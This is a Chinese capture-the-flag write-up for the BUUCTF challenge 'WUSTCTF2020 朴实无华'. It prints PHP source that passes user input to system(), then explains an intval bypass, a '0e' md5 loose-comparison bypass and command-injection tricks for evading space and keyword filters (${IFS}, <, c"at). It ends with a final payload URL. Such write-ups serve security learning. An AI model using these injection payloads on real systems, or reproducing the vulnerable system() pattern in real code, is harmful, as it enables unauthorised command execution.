BUUCTF-WEB 【WUSTCTF2020】朴实无华 1

代码审计和命令注入

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

三个地方的绕过

1
2
3
4
5
6
7
8
$num = '1e5';
# payload
# 1e5
if(intval($num) < 2020&&intval($num +1)>2021){
echo 'yes';
echo $num + 1;
}
// yes100001

1e5为100000的科学计数法,将1e5 作为参数放入intval函数内执行会返回结果 1 , 将1e5 加上 1后,其结果为100001,在将100001放入intval,结果自然为100001,成功绕过。

1
2
3
4
5
6
7
8
9
10
11
$md5=$_GET['md5'];
# payload
# 空数组
# 0e215962017
echo $md5;
if ($md5==md5($md5)){
echo "ok";
echo $md5;
}else{
echo $md5;
}

这里的绕过其实有两种方式,我在网上看到的教程大部分都是用 0e215962017 字符串绕过,这串字符经过md5加密后,会得到前两位是 0e 开头的字符串,在经过 == 的比较,就会返回为真。

还有一个方式就是空数组,这个方法在直接在代码里赋值是成立的,但是通过GET传参 md5[]= ,就不能显示,具体原因无从得知,md5对数组加密后会返回Flase ,再与空数组进行比较,会相等。

1
2
3
4
5
6
7
8
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}

不能有空格,cat会被替换成wctf2020,空格代替方式有很多 ${IFS} ${IFS}$9 < 都可用代替空格,cat的代替方式也很多, more tac cat less head tail ,如果是被替换,还可用通过混淆来绕过,比如,cat 被过滤,通过c"at 来绕过。

最终payload

1
fl4g.php?num=1e5&md5=0e215962017&get_flag=c""at<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag